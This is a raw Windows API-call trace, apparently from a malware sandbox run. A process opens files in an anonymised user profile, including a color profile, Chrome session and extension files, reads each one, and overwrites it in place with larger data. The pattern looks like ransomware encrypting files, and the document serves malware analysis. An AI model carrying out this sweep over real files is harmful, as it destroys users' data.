[0049.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.111] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.111] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa74 [0049.111] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.111] ReleaseMutex (hMutex=0x128) returned 1 [0049.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wsRGB.icc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wsRGB.icc", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wsRGB.icc", lpUsedDefaultChar=0x0) returned 9 [0049.111] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f2bc*=0xa74, lpOverlapped=0x0) returned 1 [0049.113] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0049.113] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0xffc, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f2d0*=0xffc, lpOverlapped=0x0) returned 1 [0049.113] CloseHandle (hObject=0x1ac) returned 1 [0049.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0049.115] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.115] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x38b0 [0049.116] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.116] ReleaseMutex (hMutex=0x128) returned 1 [0049.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0049.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cchWideChar=66, lpMultiByteStr=0x1e951cc, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpUsedDefaultChar=0x0) returned 66 [0049.116] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.118] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x28b0 [0049.118] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.127] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x28b0 [0049.127] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.127] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0049.128] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.128] CloseHandle (hObject=0x1ac) returned 1 [0049.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.317] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.317] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1d6 [0049.317] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0049.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.317] ReleaseMutex (hMutex=0x128) returned 1 [0049.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Current Session", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0049.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Current Session", cchWideChar=15, lpMultiByteStr=0x1e62fcc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Current Session", lpUsedDefaultChar=0x0) returned 15 [0049.317] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d6, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2b0f2bc*=0x1d6, lpOverlapped=0x0) returned 1 [0049.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0049.318] WriteFile (in: hFile=0x1a8, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x75e, lpOverlapped=0x0) returned 1 [0049.318] CloseHandle (hObject=0x1a8) returned 1 [0049.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.245] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.245] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x29 [0050.245] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.245] ReleaseMutex (hMutex=0x128) returned 1 [0050.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0050.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x1e6306c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MANIFEST-000001", lpUsedDefaultChar=0x0) returned 15 [0050.246] ReadFile (in: hFile=0x198, lpBuffer=0x1eb2240, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2240*, lpNumberOfBytesRead=0x2b0f2bc*=0x29, lpOverlapped=0x0) returned 1 [0050.450] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.450] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2b0f2d0*=0x5b1, lpOverlapped=0x0) returned 1 [0050.450] CloseHandle (hObject=0x198) returned 1 [0050.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.451] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.451] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe0 [0050.451] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.451] ReleaseMutex (hMutex=0x128) returned 1 [0050.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.451] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0050.452] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.452] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x668, lpOverlapped=0x0) returned 1 [0050.453] CloseHandle (hObject=0x198) returned 1 [0050.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.453] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.453] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xde [0050.453] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.453] ReleaseMutex (hMutex=0x128) returned 1 [0050.453] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.453] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.453] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xde, lpOverlapped=0x0) returned 1 [0050.454] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.454] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x666, lpOverlapped=0x0) returned 1 [0050.454] CloseHandle (hObject=0x198) returned 1 [0050.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.455] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.455] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd2 [0050.455] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.455] ReleaseMutex (hMutex=0x128) returned 1 [0050.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.455] ReadFile (in: hFile=0x198, lpBuffer=0x2561348, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2561348*, lpNumberOfBytesRead=0x2b0f2bc*=0xd2, lpOverlapped=0x0) returned 1 [0050.456] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.456] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x65a, lpOverlapped=0x0) returned 1 [0050.456] CloseHandle (hObject=0x198) returned 1 [0050.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.457] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.457] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x104 [0050.457] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.457] ReleaseMutex (hMutex=0x128) returned 1 [0050.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.457] ReadFile (in: hFile=0x198, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2b0f2bc*=0x104, lpOverlapped=0x0) returned 1 [0050.458] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.458] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x68c, lpOverlapped=0x0) returned 1 [0050.458] CloseHandle (hObject=0x198) returned 1 [0050.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc8d [0050.459] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.459] ReleaseMutex (hMutex=0x128) returned 1 [0050.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_128.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_128.png", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon_128.png", lpUsedDefaultChar=0x0) returned 12 [0050.459] ReadFile (in: hFile=0x198, lpBuffer=0x276b958, nNumberOfBytesToRead=0xc8d, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2b0f2bc*=0xc8d, lpOverlapped=0x0) returned 1 [0050.483] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.484] WriteFile (in: hFile=0x198, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1215, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1215, lpOverlapped=0x0) returned 1 [0050.484] CloseHandle (hObject=0x198) returned 1 [0050.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.485] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.485] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd9 [0050.485] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.485] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.485] ReleaseMutex (hMutex=0x128) returned 1 [0050.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", 